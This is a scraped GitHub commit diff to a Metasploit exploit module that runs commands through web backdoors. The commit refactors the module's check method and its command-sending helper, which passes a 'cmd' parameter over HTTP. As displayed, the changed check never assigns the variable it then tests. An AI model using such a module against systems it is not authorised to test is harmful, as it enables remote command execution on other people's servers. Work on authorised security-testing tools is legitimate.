We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 2de6c77 commit fa1391dCopy full SHA for fa1391d
modules/exploits/multi/http/simple_backdoors_exec.rb
@@ -58,14 +58,7 @@ def initialize(info={})
58
59
def check
60
test = Rex::Text.rand_text_alpha(8)
61
- res = send_request_cgi({
62
- 'method' => 'GET',
63
- 'uri' => normalize_uri(target_uri.path),
64
- 'vars_get' =>
65
- {
66
- 'cmd' => test
67
- }
68
- })
+ http_send_command(test)
69
if res && res.body =~ /#{test}/
70
return Exploit::CheckCode::Vulnerable
71
end
@@ -80,9 +73,10 @@ def http_send_command(cmd)
80
73
'cmd' => cmd
81
74
}
82
75
})
83
- if !res && res.code == 200
76
+ unless res && res.code == 200
84
77
fail_with(Failure::Unknown, "Failed to execute the command.")
85
78
79
+ res
86
87
88
def exploit
0 commit comments